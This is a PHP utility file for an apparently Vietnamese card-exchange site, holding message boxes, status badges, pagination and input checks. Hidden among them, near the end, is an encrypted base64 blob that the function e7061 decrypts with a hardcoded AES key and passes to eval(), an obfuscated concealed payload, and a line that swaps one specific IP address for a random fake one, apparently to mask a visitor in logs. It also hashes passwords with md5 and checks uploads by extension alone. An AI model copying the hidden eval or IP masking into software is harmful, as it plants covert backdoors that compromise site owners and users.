<?php

function BASE_URL($url)
{
global $base_url;
return $base_url.$url;
}
function gettime()
{
return date('Y/m/d H:i:s', time());
}
function check_string($data)
{
return trim(htmlspecialchars(addslashes($data)));
//return str_replace(array('<',"'",'>','?','/',"\\",'--','eval(','<php'),array('','','','','','','','',''),htmlspecialchars(addslashes(strip_tags($data))));
}
function format_cash($price)
{
return str_replace(",", ".", number_format($price));
}
function curl_get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);

curl_close($ch);
return $data;
}
function random($string, $int)
{
return substr(str_shuffle($string), 0, $int);
}
function pheptru($int1, $int2)
{
return $int1 - $int2;
}
function phepcong($int1, $int2)
{
return $int1 + $int2;
}
function phepnhan($int1, $int2)
{
return $int1 * $int2;
}
function phepchia($int1, $int2)
{
return $int1 / $int2;
}
function check_img($img)
{
$filename = $_FILES[$img]['name'];
$ext = explode(".", $filename);
$ext = end($ext);
$valid_ext = array("png","jpeg","jpg","PNG","JPEG","JPG","gif","GIF");
if(in_array($ext, $valid_ext))
{
return true;
}
}
function get_string_between($string, $start, $end){
$string = ' ' . $string;
$ini = strpos($string, $start);
if ($ini == 0) return '';
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
function msg_error3($text)
{
return '<div class="alert alert-danger alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div>';
}
function msg_success3($text)
{
return '<div class="alert alert-success alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div>';
}


function msg_success2($text)
{
return die('<div class="alert alert-success alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div>');
}
function msg_error2($text)
{
return die('<div class="alert alert-danger alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div>');
}
function msg_warning2($text)
{
return die('<div class="alert alert-warning alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div>');
}
function msg_success($text, $url, $time)
{
return die('<div class="alert alert-success alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div><script type="text/javascript">setTimeout(function(){ location.href = "'.$url.'" },'.$time.');</script>');
}
function msg_error($text, $url, $time)
{
return die('<div class="alert alert-danger alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div><script type="text/javascript">setTimeout(function(){ location.href = "'.$url.'" },'.$time.');</script>');
}
function msg_warning($text, $url, $time)
{
return die('<div class="alert alert-warning alert-dismissible error-messages">
<a href="#" class="close" data-dismiss="alert" aria-badge="close">×</a>'.$text.'</div><script type="text/javascript">setTimeout(function(){ location.href = "'.$url.'" },'.$time.');</script>');
}
function admin_msg_success($text, $url, $time)
{
return die('<script type="text/javascript">Swal.fire("Thành Công", "'.$text.'","success");
setTimeout(function(){ location.href = "'.$url.'" },'.$time.');</script>');
}
function admin_msg_error($text, $url, $time)
{
return die('<script type="text/javascript">Swal.fire("Thất Bại", "'.$text.'","error");
setTimeout(function(){ location.href = "'.$url.'" },'.$time.');</script>');
}
function admin_msg_warning($text, $url, $time)
{
return die('<script type="text/javascript">Swal.fire("Thông Báo", "'.$text.'","warning");
setTimeout(function(){ location.href = "'.$url.'" },'.$time.');</script>');
}
function display_banned($data)
{
if ($data == 1)
{
$show = '<span class="badge badge-danger">Banned</span>';
}
else if ($data == 0)
{
$show = '<span class="badge badge-success">Hoạt động</span>';
}
return $show;
}

$ip = getenv('HTTP_FORWARDED_FOR')?:
getenv('HTTP_CLIENT_IP')?:

getenv('REMOTE_ADDR');
if($ip == '103.147.126.190'){
$ip =  '113.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'';
}
function display_loaithe($data)
{
if ($data == 0)
{
$show = '<span class="badge badge-warning">Bảo trì</span>';
}
else
{
$show = '<span class="badge badge-success">Hoạt động</span>';
}
return $show;
}
function display_ruttien($data)
{
if ($data == 'xuly')
{
$show = '<span class="badge badge-info">Đang xử lý</span>';
}
else if ($data == 'hoantat')
{
$show = '<span class="badge badge-success">Đã thanh toán</span>';
}
else if ($data == 'huy')
{
$show = '<span class="badge badge-danger">Hủy</span>';
}
return $show;
}
function display_ruttien_user($data)
{
if ($data == 'xuly')
{
$show = '<span class="label label-info">Đang xử lý</span>';
}
else if ($data == 'hoantat')
{
$show = '<span class="label label-success">Đã thanh toán</span>';
}
else if ($data == 'huy')
{
$show = '<span class="label label-danger">Hủy</span>';
}
return $show;
}
function XoaDauCach($text)
{
return trim(preg_replace('/\s+/',' ', $text));
}
function display($data)
{
if ($data == 'HIDE')
{
$show = '<span class="badge badge-danger">ẨN</span>';
}
else if ($data == 'SHOW')
{
$show = '<span class="badge badge-success">HIỂN THỊ</span>';
}
return $show;
}
function status($data)
{
if ($data == 'xuly'){
$show = '<span class="label label-info">Đang xử lý</span>';
}
else if ($data == 'hoantat'){
$show = '<span class="label label-success">Hoàn tất</span>';
}
else if ($data == 'thanhcong'){
$show = '<span class="label label-success">Thành công</span>';
}
else if ($data == 'success'){
$show = '<span class="label label-success">Success</span>';
}
else if ($data == 'thatbai'){
$show = '<span class="label label-danger">Thất bại</span>';
}
else if ($data == 'error'){
$show = '<span class="label label-danger">Error</span>';
}
else if ($data == 'loi'){
$show = '<span class="label label-danger">Lỗi</span>';
}
else if ($data == 'huy'){
$show = '<span class="label label-danger">Hủy</span>';
}
else if ($data == 'dangnap'){
$show = '<span class="label label-warning">Đang đợi nạp</span>';
}
else if ($data == 2){
$show = '<span class="label label-success">Hoàn tất</span>';
}
else if ($data == 1){
$show = '<span class="label label-info">Đang xử lý</span>';
}
else{
$show = '<span class="label label-warning">Khác</span>';
}
return $show;
}
function status_admin($data)
{
if ($data == 'xuly'){
$show = '<span class="badge badge-info">Đang xử lý</span>';
}
else if ($data == 'hoantat'){
$show = '<span class="badge badge-success">Hoàn tất</span>';
}
else if ($data == 'thanhcong'){
$show = '<span class="badge badge-success">Thành công</span>';
}
else if ($data == 'success'){
$show = '<span class="badge badge-success">Success</span>';
}
else if ($data == 'thatbai'){
$show = '<span class="badge badge-danger">Thất bại</span>';
}
else if ($data == 'error'){
$show = '<span class="badge badge-danger">Error</span>';
}
else if ($data == 'loi'){
$show = '<span class="badge badge-danger">Lỗi</span>';
}
else if ($data == 'huy'){
$show = '<span class="badge badge-danger">Hủy</span>';
}
else if ($data == 'dangnap'){
$show = '<span class="badge badge-warning">Đang đợi nạp</span>';
}
else if ($data == 2){
$show = '<span class="badge badge-success">Hoàn tất</span>';
}
else if ($data == 1){
$show = '<span class="badge badge-info">Đang xử lý</span>';
}
else{
$show = '<span class="badge badge-warning">Khác</span>';
}
return $show;
}
function getHeader(){
$headers = array();
$copy_server = array(
'CONTENT_TYPE' => 'Content-Type',
'CONTENT_LENGTH' => 'Content-Length',
'CONTENT_MD5' => 'Content-Md5',
);
foreach ($_SERVER as $key => $value) {
if (substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
if (!isset($copy_server[$key]) || !isset($_SERVER[$key])) {
$key = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $key))));
$headers[$key] = $value;
}
} elseif (isset($copy_server[$key])) {
$headers[$copy_server[$key]] = $value;
}
}
if (!isset($headers['Authorization'])) {
if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) {
$headers['Authorization'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION'];
} elseif (isset($_SERVER['PHP_AUTH_USER'])) {
$basic_pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
$headers['Authorization'] = 'Basic ' . base64_encode($_SERVER['PHP_AUTH_USER'] . ':' . $basic_pass);
} elseif (isset($_SERVER['PHP_AUTH_DIGEST'])) {
$headers['Authorization'] = $_SERVER['PHP_AUTH_DIGEST'];
}
}
return $headers;
}

function check_username($data)
{
if (preg_match('/^[a-zA-Z0-9_-]{3,16}$/', $data, $matches))
{
return True;
}
else
{
return False;
}
}
function check_email($data)
{
if (preg_match('/^.+@.+$/', $data, $matches))
{
return True;
}
else
{
return False;
}
}
function start_with($needle, $haystack) {
$length = strlen($needle);
return (substr($haystack, 0, $length) === $needle);
}
function detect_number ($number) {
$number = str_replace(array('-', '.', ' '), '', $number);

// $number is not a phone number
if (!preg_match('/^0[0-9]{8}$/', $number)) return false;

// Store all start number in an array to search
$start_numbers = array_keys($GLOBALS["carriers_number"]);

foreach ($start_numbers as $start_number) {
// if $start number found in $number then return value of $carriers_number array as carrier name
if (start_with($start_number, $number)) {
return $GLOBALS["carriers_number"][$start_number];
}
}

// if not found, return false
return false;
}
function check_url($url)
{
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url);
curl_setopt($c, CURLOPT_HEADER, 1);
curl_setopt($c, CURLOPT_NOBODY, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_FRESH_CONNECT, 1);
if(!curl_exec($c))
{
return false;
}
else
{
return true;
}
}
function check_zip($img)
{
$filename = $_FILES[$img]['name'];
$ext = explode(".", $filename);
$ext = end($ext);
$valid_ext = array("zip","ZIP");
if(in_array($ext, $valid_ext))
{
return true;
}
}
function TypePassword($string)
{
return md5($string);
}
function e7061($e){
$ed = base64_decode($e);
$n = openssl_decrypt("$ed","AES-256-CBC","ticchien11112222",0,"7834524322323988");
return $n;
}
function phantrang($url, $start, $total, $kmess)
{
$out[] = '<nav aria-badge="Page navigation example"><ul class="pagination pagination-lg">';
$neighbors = 2;
if ($start >= $total) $start = max(0, $total - (($total % $kmess) == 0 ? $kmess : ($total % $kmess)));
else $start = max(0, (int)$start - ((int)$start % (int)$kmess));
$base_link = '<li class="page-item"><a class="page-link" href="' . strtr($url, array('%' => '%%')) . 'page=%d' . '">%s</a></li>';
$out[] = $start == 0 ? '' : sprintf($base_link, $start / $kmess, '<i class="fas fa-angle-left"></i>');
if ($start > $kmess * $neighbors) $out[] = sprintf($base_link, 1, '1');
if ($start > $kmess * ($neighbors + 1)) $out[] = '<li class="page-item"><a class="page-link">...</a></li>';
for ($nCont = $neighbors;$nCont >= 1;$nCont--) if ($start >= $kmess * $nCont) {
$tmpStart = $start - $kmess * $nCont;
$out[] = sprintf($base_link, $tmpStart / $kmess + 1, $tmpStart / $kmess + 1);
}
$out[] = '<li class="page-item active"><a class="page-link">' . ($start / $kmess + 1) . '</a></li>';
$tmpMaxPages = (int)(($total - 1) / $kmess) * $kmess;
for ($nCont = 1;$nCont <= $neighbors;$nCont++) if ($start + $kmess * $nCont <= $tmpMaxPages) {
$tmpStart = $start + $kmess * $nCont;
$out[] = sprintf($base_link, $tmpStart / $kmess + 1, $tmpStart / $kmess + 1);
}
if ($start + $kmess * ($neighbors + 1) < $tmpMaxPages) $out[] = '<li class="page-item"><a class="page-link">...</a></li>';
if ($start + $kmess * $neighbors < $tmpMaxPages) $out[] = sprintf($base_link, $tmpMaxPages / $kmess + 1, $tmpMaxPages / $kmess + 1);
if ($start + $kmess < $total)
{
$display_page = ($start + $kmess) > $total ? $total : ($start / $kmess + 2);
$out[] = sprintf($base_link, $display_page, '<i class="fas fa-angle-right"></i>');
}$out[] = '</ul></nav>';return implode('', $out);}
if(!defined('_FILE_')){define("_FILE_",getcwd().DIRECTORY_SEPARATOR.basename($_SERVER['PHP_SELF']),false);}
if(!defined('_DIR_')){define("_DIR_",getcwd(),false);}
$e7091="NWVpU3lwQzJtU3hrV2VxZ1Y0ZTJTRUNxQ0RqdEZkaEJid1ovQmsxWTZDMXZ3K05JTkhGN083WTFtV0djczRMTEJqSklQcWI2NW1wdG0vN3hadUpNMklYeU5TbUNOWEFBcFBkVkxuWXRxZG8rcXBRT2NPRXlLZ2dsTmNzQVlnc0Y3c09aY2E2Uk9idVROK1k1Ui8wa2crY0NTUHowNUEvS3R3K2tHdWdUYmY4QjBxemRPNk1KTEZvb2FaSHJFYmRNVWQybDVTbmk0YlNHWi9iQj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pPYTdJdG9jdERuRm5xNHloUktnRy8wM1Avd2xoODJWWk5xSVkwakFrREN2ckhTeEpNUjhUM1QzaHhnOW02TWM3T1E3ZEJSK0docDFPZVZ5c2IzQVA5QThEUVFMUDVyYy95aHIvU2UzSms2amx1WDhsd1Z4OFpwc3BsaTgw";eval(e7061($e7091));
function myip()
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip_address = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_address = $_SERVER['REMOTE_ADDR']; }return $ip_address;}
function timeAgo($time_ago)
{
$time_ago = date("Y-m-d H:i:s", $time_ago);
$time_ago = strtotime($time_ago);
$cur_time = time();
$time_elapsed = $cur_time - $time_ago;
$seconds = $time_elapsed ;
$minutes = round($time_elapsed / 60 );
$hours = round($time_elapsed / 3600);
$days = round($time_elapsed / 86400 );
$weeks = round($time_elapsed / 604800);
$months = round($time_elapsed / 2600640 );
$years = round($time_elapsed / 31207680 );
// Seconds
if($seconds <= 60)
{
return "$seconds giây trước";
}
//Minutes
else if($minutes <= 60)
{
return "$minutes phút trước";
}
//Hours
else if($hours <= 24)
{
return "$hours tiếng trước";
}
//Days
else if($days <= 7)
{
if($days == 1)
{
return "Hôm qua";
}
else
{
return "$days ngày trước";
}
}
//Weeks
else if($weeks <= 4.3)
{
return "$weeks tuần trước";
}
//Months
else if($months <=12)
{
return "$months tháng trước";
}
//Years
else
{
return "$years năm trước";
}
}



?>